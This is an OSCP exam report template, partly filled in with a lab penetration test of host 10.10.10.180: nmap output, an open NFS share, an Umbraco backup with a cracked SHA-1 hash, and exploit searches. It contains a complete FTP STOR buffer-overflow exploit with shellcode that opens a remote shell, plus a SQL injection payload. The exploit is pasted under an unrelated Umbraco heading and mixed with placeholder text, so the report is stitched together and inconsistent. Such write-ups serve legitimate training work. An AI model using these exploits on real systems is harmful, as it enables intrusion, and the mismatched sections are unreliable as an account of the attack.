
Offensive Security Certified Professional Exam Report - Test

OSCP Exam Report - Test

jurgen.kobierczynski@telenet.be, OSID: XXXX

2021-01-04

Contents

1	Offensive-Security OSCP Exam Report	1
1.1	Introduction	1
1.2	Objective	1
1.3	Requirements	1
2	Sample Report - High-Level Summary	2
2.1	Sample Report - Recommendations	2
3	Sample Report - Methodologies	3
3.1	Sample Report - Information Gathering	3
3.2	Sample Report - Service Enumeration	3
4	Nmap scan host	4
4.1	Sample Report - Penetration	6
4.2	Sample Report - Maintaining Access	10
4.3	Sample Report - House Cleaning	10
5	Additional Items Not Mentioned in the Report	12

1 Offensive-Security OSCP Exam Report

1.1 Introduction

The Offensive Security Exam penetration test report contains all efforts that were conducted in order to pass the Offensive Security course. This report should contain all items that were used to pass the overall exam. This report will be graded from a standpoint of correctness and fullness to all aspects of the exam. The purpose of this report is to ensure that the student has a full understanding of penetration testing methodologies as well as the technical knowledge to pass the qualifications for the Offensive Security Certified Professional.

1.2 Objective

The objective of this assessment is to perform an internal penetration test against the Offensive Security Exam network. The student is tasked with following methodical approach in obtaining access to the objective goals. This test should simulate an actual penetration test and how you would start from beginning to end, including the overall report. An example page has already been created for you at the latter portions of this document that should give you ample information on what is expected to pass this course. Use the sample report as a guideline to get you through the reporting.

1.3 Requirements

The student will be required to fill out this penetration testing report and include the following sections:

- Overall High-Level Summary and Recommendations (non-technical)
- Methodology walkthrough and detailed outline of steps taken
- Each finding with included screenshots, walkthrough, sample code, and proof.txt if applicable.
- Any additional items that were not included

2 Sample Report - High-Level Summary

John Doe was tasked with performing an internal penetration test towards Offensive Security Labs. An internal penetration test is a dedicated attack against internally connected systems. The focus of this test is to perform attacks, similar to those of a hacker and attempt to infiltrate Offensive Security's internal lab systems - the **THINC.local** domain. John's overall objective was to evaluate the network, identify systems, and exploit flaws while reporting the findings back to Offensive Security.

When performing the internal penetration test, there were several alarming vulnerabilities that were identified on Offensive Security's network. When performing the attacks, John was able to gain access to multiple machines, primarily due to outdated patches and poor security configurations. During the testing, John had administrative level access to multiple systems. All systems were successfully exploited and access granted. These systems as well as a brief description on how access was obtained are listed below:

- Exam Trophy 1 - Got in through X
- Exam Trophy 2 - Got in through X

2.1 Sample Report - Recommendations

John recommends patching the vulnerabilities identified during the testing to ensure that an attacker cannot exploit these systems in the future. One thing to remember is that these systems require frequent patching and once patched, should remain on a regular patch program to protect additional vulnerabilities that are discovered at a later date.

3 Sample Report - Methodologies

John utilized a widely adopted approach to performing penetration testing that is effective in testing how well the Offensive Security Labs and Exam environments are secure. Below is a breakout of how John was able to identify and exploit the variety of systems and includes all individual vulnerabilities found.

3.1 Sample Report - Information Gathering

The information gathering portion of a penetration test focuses on identifying the scope of the penetration test. During this penetration test, John was tasked with exploiting the exam network. The specific IP addresses were:

Exam Network

Host: 10.10.10.180

3.2 Sample Report - Service Enumeration

The service enumeration portion of a penetration test focuses on gathering information about what services are alive on a system or systems. This is valuable for an attacker as it provides detailed information on potential attack vectors into a system. Understanding what applications are running on the system gives an attacker needed information before performing the actual penetration test. In some cases, some ports may not be listed.

4 Nmap scan host

```
Nmap 7.80 scan initiated Thu Mar 26 18:57:04 2020 as: nmap -v -sC -  
sV -T4 -A -oA nmap 10.10.10.180
```

```
Increasing send delay for 10.10.10.180 from 0 to 5 due to 47 out of 117 dropped
```

```
Increasing send delay for 10.10.10.180 from 5 to 10 due to 56 out of 139 dropped
```

```
Nmap scan report for 10.10.10.180
```

```
Host is up (0.12s latency).
```

```
Not shown: 993 closed ports
```

```
PORT      STATE SERVICE      VERSION
```

```
21/tcp    open  ftp          Microsoft ftpd
```

```
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
```

```
| ftp-syst:
```

```
|_ SYST: Windows_NT
```

```
80/tcp    open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
```

```
| http-methods:
```

```
|_ Supported Methods: GET HEAD POST OPTIONS
```

```
|_http-title: Home - Acme Widgets
```

```
111/tcp   open  rpcbind      2-4 (RPC #100000)
```

```
| rpcinfo:
```

```
|   program version    port/proto  service
```

```
|   100000  2,3,4      111/tcp    rpcbind
```

```
|   100000  2,3,4      111/tcp6   rpcbind
```

```
|   100000  2,3,4      111/udp    rpcbind
```

```
|   100000  2,3,4      111/udp6   rpcbind
```

```
|   100003  2,3        2049/udp   nfs
```

```
|   100003  2,3        2049/udp6  nfs
```

```
|   100003  2,3,4      2049/tcp   nfs
```

```
|   100003  2,3,4      2049/tcp6  nfs
```

```
|   100005  1,2,3      2049/tcp   mountd
```

```
|   100005  1,2,3      2049/tcp6  mountd
```

```
|   100005  1,2,3      2049/udp   mountd
```

```
| 100005 1,2,3      2049/udp6 mountd
| 100021 1,2,3,4    2049/tcp   nlockmgr
| 100021 1,2,3,4    2049/tcp6  nlockmgr
| 100021 1,2,3,4    2049/udp   nlockmgr
| 100021 1,2,3,4    2049/udp6  nlockmgr
| 100024 1          2049/tcp   status
| 100024 1          2049/tcp6  status
| 100024 1          2049/udp   status
|_ 100024 1          2049/udp6  status
135/tcp  open  msrpc      Microsoft Windows RPC
139/tcp  open  netbios-ssn Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
2049/tcp open  mountd      1-3 (RPC #100005)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

Host script results:

```
|_clock-skew: 2m19s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-03-26T18:01:30
|_ start_date: N/A
```

Read data files from: /usr/bin/./share/nmap

Service detection performed. Please report any incorrect results at <https://nmap.org>

Nmap done at Thu Mar 26 19:00:14 2020 -- 1 IP address (1 host up) scanned in 1

msf5 > services

Services

=====

host	port	proto	name	state	info
----	----	-----	----	-----	----
10.10.10.180	21	tcp	ftp	open	Microsoft ftpd
10.10.10.180	80	tcp	http	open	Microsoft HTTPAPI httpd 2.0 SSD
10.10.10.180	111	tcp	rpcbind	open	2-4 RPC #100000
10.10.10.180	135	tcp	msrpc	open	Microsoft Windows RPC

10.10.10.180	139	tcp	netbios-ssn	open	Microsoft Windows netbios-ssn
10.10.10.180	445	tcp	microsoft-ds	open	
10.10.10.180	2049	tcp	mountd	open	1-3 RPC #100005
10.10.10.180	4321	tcp	tcpwrapped	open	
10.10.10.180	5985	tcp	http	open	Microsoft HTTPAPI httpd 2.0 SSD
10.10.10.180	47001	tcp	http	open	Microsoft HTTPAPI httpd 2.0 SSD
10.10.10.180	49664	tcp	msrpc	open	Microsoft Windows RPC
10.10.10.180	49665	tcp	msrpc	open	Microsoft Windows RPC
10.10.10.180	49666	tcp	msrpc	open	Microsoft Windows RPC
10.10.10.180	49667	tcp	msrpc	open	Microsoft Windows RPC
10.10.10.180	49678	tcp	msrpc	open	Microsoft Windows RPC
10.10.10.180	49679	tcp	msrpc	open	Microsoft Windows RPC
10.10.10.180	49680	tcp	msrpc	open	Microsoft Windows RPC

4.1 Sample Report - Penetration

The penetration testing portions of the assessment focus heavily on gaining access to a variety of systems. During this penetration test, John was able to successfully gain access to the system.

Showmount reported a NFS share 'site_backups' readable to everyone.

```
user@kali:~/hackthebox/remote$ showmount -e 10.10.10.180 Export list for 10.10.10.180:  
/site_backups (everyone)
```

On the NFS share a Umbraco backup file 'Umbraco.sdf' is present which contains hashes of passwords:

```
App_Data$ strings Umbraco.sdf
```

```
Administratoradmindefaulten-US
```

```
Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
```

```
Administratoradmin**b8be16afba8c314ad33d812f22a04991b90e2aaa**{"hashAlgorithm": "SHA-1"  
USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
```

```
adminadmin@htb.local**b8be16afba8c314ad33d812f22a04991b90e2aaa**{"hashAlgorithm": "SHA-1"  
USfeb1a998-d3bf-406a-b30b-e269d7abdf50
```

```
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm": "SHA-1"  
US82756c26-4321-4d27-b429-1b5c7c4f882f
```



```
smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnI
US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e
ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnI
US7e39df83-5e64-4b93-9702-ae257a9b9749
ssmithssmith@htb.locall8+xXICbPe7m5NQ22HfcGlg==RF90Linww9rd2PmaKUPLteR6vesD2MtFaB
US3628acfb-a62c-4ab0-93f7-5ee9724c8d32
```

The SHA-1 hash: b8be16afba8c314ad33d812f22a04991b90e2aaa was successfully reversed into the string: **baconandcheese**

Vulnerability Fix:

- Close NSF access
- Remove read access to everyone
- Remove Umbraco backup file

Severity: Critical

****RCE Umbraco:**

searchsploit umbraco

Exploit Title

Umbraco CMS - Remote Command Execution (Metasploit)	windows/web
Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution	aspx/webapps
Umbraco CMS SeoChecker Plugin 1.9.2 - Cross-Site Scripting	php/webapps/

Shellcodes: No Results

Papers: No Results

Proof of Concept Code Here: Modifications to the existing exploit was needed and is highlighted in red.

```
#####
# Ability Server 2.34 FTP STOR Buffer Overflow
# Advanced, secure and easy to use FTP Server.
# 21 Oct 2004 - muts
#####
# D:\BO>ability-2.34-ftp-stor.py
#####
# D:\data\tools>nc -v 127.0.0.1 4444
```

```
# localhost [127.0.0.1] 4444 (?) open
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
# D:\Program Files\abilitywebserver>
#####

import ftplib
from ftplib import FTP
import struct
print "\n\n#####\n"
print "\nAbility Server 2.34 FTP STOR buffer Overflow"
print "\nFor Educational Purposes Only!\n"
print "#####\n"

# Shellcode taken from Sergio Alvarez's "Win32 Stack Buffer Overflow Tutorial"

sc = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"
sc += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"
sc += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"
sc += "\x7a\x1d\x29\xb6\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"
sc += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"
sc += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\xe2\x1f\xb0\x95\x05\x61"
sc += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"
sc += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"
sc += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"
sc += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"
sc += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"
sc += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"
sc += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"
sc += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"
sc += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"
sc += "\xef\xff\x45\x1a\x57xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"
sc += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"
sc += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"
sc += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"
sc += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"
sc += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"
sc += "\x66\x74\x32\xa6\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"
# Change RET address if need be.
buffer = '\x41'*966+struct.pack('<L', 0x7C2FA0F7)+'\x42'*32+sc # RET Windows 2000 Server SP4
#buffer = '\x41'*970+struct.pack('<L', 0x7D17D737)+'\x42'*32+sc # RET Windows XP SP2
try:
    # Edit the IP, Username and Password.
    ftp = FTP('127.0.0.1')
    ftp.login('ftp','ftp')
    print "\nEvil Buffer sent..."
    print "\nTry connecting with netcat to port 4444 on the remote machine."
except:
    print "\nCould not Connect to FTP Server."
try:
    ftp.transfercmd("STOR " + buffer)
except:
    print "\nDone."
```

ImgPlaceholder

Vulnerability Exploited: MySQL Injection

System Vulnerable: 172.16.203.135

Vulnerability Explanation: A custom web application identified was prone to SQL Injection attacks. When performing the penetration test, John noticed error-based MySQL Injection on the taxid query string parameter. While enumerating table data, John was able to successfully extract login and password credentials that were unencrypted that also matched username and password accounts for the root user account on the operating system. This allowed for a successful breach of the Linux-based operating system as well as all data contained on the system.

Vulnerability Fix: Since this is a custom web application, a specific update will not properly solve this issue. The application will need to be programmed to properly sanitize user-input data, ensure that the user is running off of a limited user account, and that any sensitive data stored within the SQL database is properly encrypted. Custom error messages are highly recommended, as it becomes more challenging for the attacker to exploit a given weakness if errors are not being presented back to them.

Severity: Critical

Proof of Concept Code Here: `SELECT * FROM login WHERE id = 1 or 1=1 AND user LIKE "%root%"`

4.2 Sample Report - Maintaining Access

Maintaining access to a system is important to us as attackers, ensuring that we can get back into a system after it has been exploited is invaluable. The maintaining access phase of the penetration test focuses on ensuring that once the focused attack has occurred (i.e. a buffer overflow), we have administrative access over the system again. Many exploits may only be exploitable once and we may never be able to get back into a system after we have already performed the exploit.

John added administrator and root level accounts on all systems compromised. In addition to the administrative/root access, a Metasploit meterpreter service was installed on the machine to ensure that additional access could be established.

4.3 Sample Report - House Cleaning

The house cleaning portions of the assessment ensures that remnants of the penetration test are removed. Often fragments of tools or user accounts are left on an organizations computer which

can cause security issues down the road. Ensuring that we are meticulous and no remnants of our penetration test are left over is important.

After the trophies on the exam network were completed, John removed all user accounts and passwords as well as the meterpreter services installed on the system. Offensive Security should not have to remove any user accounts or services from the system.

5 Additional Items Not Mentioned in the Report

This section is placed for any additional items that were not mentioned in the overall report.